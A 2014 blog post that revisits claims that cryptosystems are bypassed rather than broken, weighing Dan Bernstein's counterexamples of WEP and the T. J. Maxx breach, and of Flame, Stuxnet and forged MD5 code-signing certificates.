January 19, 2014

The Shamir-Grigg-Gutmann challenge -- DJB's counterexamples

Last month, I wrote to explain that these challenges by Dan Bernstein:

2011 Grigg-Gutmann: In the past 15 years "no one ever lost money to an attack on a properly designed cryptosystem (meaning one that didn't use homebrew crypto or toy keys) in the Internet or commercial worlds".

2002 Shamir: "Cryptography is usually bypassed. I am not aware of any major world-class security system employing cryptography in which the hackers penetrated the system by actually going through the cryptanalysis."

could be simply reduced to:

"Show us the money!"

Perhaps uniquely, Dan Bernstein took umbrage and went looking for the money. He found two potentials. Out of order, let's look at potential "in the money" option #2: WEP.

WEP introduced in 1997 in 802.11 wireless standard.
2001 Borisov-Goldberg-Wagner:
24-bit "nonce" frequently repeats, leaking plaintext xor and allowing very easy forgeries.
2001 Arbaugh-Shankar-Wan:
this also breaks user auth.
2001 Fluhrer-Mantin-Shamir:
WEP builds RC4 key (k; n) from secret k, "nonce" n; RC4 outputs leak bytes of k.
Implementations, optimizations of k-recovery attack: 2001 Stubblefield-Ioannidis-Rubin, 2004 KoreK, 2004 Devine, 2005 d'Otreppe, 2006 Klein, 2007 Tews-Weinmann-Pyshkin, 2010 Sepehrdad-Vaudenay-Vuagnoux, 2013 S-Suˇsil-V-V, . . .

The interesting thing about WEP is that we've always known that it was a joke, as far as security goes, and Dan agrees, labelling it as scary. What was then somewhat amazing is that although we see worldwide deployment of WEP, WAP, WPA, WaBlaBla and yet more, and that, we all know that the entire family is weak, why wasn't any money lost on it?

"These are academic papers!
Nobody was actually attacked."

Fact: WEP blamed for 2007 theft of 45 million credit-card numbers from T. J. Maxx. Subsequent lawsuit settled for $40900000.

Until 2007 that is. Taking what it is written in the article as the facts, WEP was cracked and T. J. Maxx was raided for millions of cards. Within 6 months they agreed to settle for the damages.

But, the challenge survives! WEP is ruled out of scope, because it is not a properly designed cryptosystem (Grigg-Gutmann), nor a world-class security system (Shamir). At least, no serious security person recommends it for other than stopping your teenage neighbours stealing the bandwidth with 24/7 youtube. One can ask: why did T. J. Maxx ignore the warnings and assume that WEP was secure enough to protect their credit card database? Their bad, not for us to follow their leadership into losses.

On to Dan's option #1, Flame:

Windows code signatures
Flame broke into computers, spied on audio, keystrokes, etc.
2012.06.03 Microsoft:
"We recently became aware of a complex piece of targeted malware known as 'Flame' and immediately began examining the issue. . . . We have discovered through our analysis that some components of the malware have been signed by certificates that allow software to appear as if it was produced by Microsoft."

Flame is an intelligence gathering virus that was launched as part of Operation Olympic Games (NSA, CIA, Mossad) against the Iranian nuclear programme. It was facilitated by being a code-signed virus, and to do this, the attackers crunched a Microsoft code-signing certificate to acquire a forged private key. In this case, the attack was done on MD5-signed certs. Once the private key was forged by the attackers, it was game on! Sign Havoc! and let slip the dogs of cyberwar.

Flame is definitely an attack on a cryptosystem, but we have two difficulties before we can hand out the prize.

Firstly, nobody recommends MD5! It has in effect been deprecated since 1996, when SHA1 came on line. And that's well before the 2004 warnings from the Chinese cryptographers, so the message was loud and clear then.

But, wait! the CA world has been consistently saying that their product was world-class. Because the PKI/CA/browser world is so convinced that they know what they are doing, maybe we have to accept that MD5-signed certificates are a strong system, and it was OK for Microsoft to be signing with it in 2012? Even though nobody much recommends x509 PKI for serious stuff, committees, standards, regulators and auditors, all opine faithfully on the ability of PKI to serve and protect.

We could take the PKI viewpoint seriously, and assume a world in which signed certificates are indeed major world-class and/or properly designed cryptographic tools. Browsers ship strong security based on MD5, and everyone says that's strong, and please don't bother us because we're too busy increasing RSA length to 2048, and phishing wasn't in our mandate so stop mentioning the $100m or so per year damages there! Dammit...

Sorry, no, it doesn't wash, and I don't have the space or patience to write about planetary cognitive dissonance today. If we give MD5 and certificates and PKI a pass, it is begrudging, fingers-crossed, marketing waffle compliance claim, and no serious security person should be fooled. But we have another difficulty:

*Flame shows no damages*. There is no easy way to tie any loss into the affects that Flame wrought, other than the normal bluster and FUD and journalistic froth and so forth. We don't even know if Flame exflitrated anything, all we've got is claim and counterclaim. As I wrote in the last post:

"Unreported losses don't exist. The reason for this is simple: risk analysis is based on what we know. What we don't know is not a good basis for assessing risks. In the crypto business, we refer to this as FUD, security theatre, snake oil, bogeymen, bla bla, movie plots, perverted & interested parties, etc. If we rely on a claim that we cannot show then we are lost, totally. If we work on a hypothetical, we're not doing risk analysis, we're not doing science, and we've no integrity."

Flame's not in the money. Then, no pass. Are we sunk? Not quite. Flame goes down, yet Stuxnet stalks forth. Damages! Over on CAcert it is written (by me):

Consequences: Various estimates suggested that Stuxnet succeeded in knocking out and perhaps destroying some 1000 centrifuges, estimated at 10% of Iran's centrifuge capacity (ISIS) and delaying Iran's weapon building program by 1.5-2 years (NYT20120601.2, Langner).

That's a hefty piece of change. Stuxnet stole its certs, it didn't crunch them. But it could have ... and Flame and Stuxnet both came from the same people, for the same purpose. It is hypothesized that Flame exfiltrated the data and Stuxnet zeroed in on the target with Flame's intel product. OlympicGames is a hypothesis of causal connection, and combined, we have a result that seriously challenges our claims.

We can argue about the detailed check-marks of success here, but I for one would say that our claims can now be rendered more accurate as historical. One detail remains -- when?

Gutmann and I made our outrageous pronouncement above in the May/June 2011 issue of IEEE Security&Privacy, and Shamir, much earlier, 2002 at the Turing awards.

Stuxnet was first noticed in second half of 2010, and Flame was found at the end of May 2012. George "cyberWarrior" Bush launched the digital Pearl Harbour against Iraq much earlier (earliest I have seen is 2007) but it wasn't until early 2011 that we were able to assemble the picture into what it was: a full declaration of cyberwar.

Looking wider, at the overall history of breaches on the net, there is a notable spike of *other activity* including CA breaches in 2011. Therefore, my current view is something like this:

2013 Grigg-Gutmann-bis: Until 2011, we had no recorded history of anyone ever losing money to an attack on a properly designed cryptosystem (meaning one that didn't use homebrew crypto or known-insecure crypto) in the Internet or commercial worlds.

While Peter and I were making those remarks, behind the scenes, the Internet was in the process of losing her maidenhood. We can quibble about dates and losses and what marks the first casebook study of a serious crypto-system breach, but the wider point we wanted to make was that, before 2011, we had no compass. Now we do. And, necessarily from this observation, all systems designed without the benefit of where the compass is now pointing should be considered ripe for a re-think.

Now it's serious. Now it's personal. Now you stand to lose money.

(Editorial note: these are my words not theirs.)

Posted by iang at January 19, 2014 04:19 PM | TrackBack
Post a comment

Remember personal info?

Hit preview to see your comment as it would be displayed.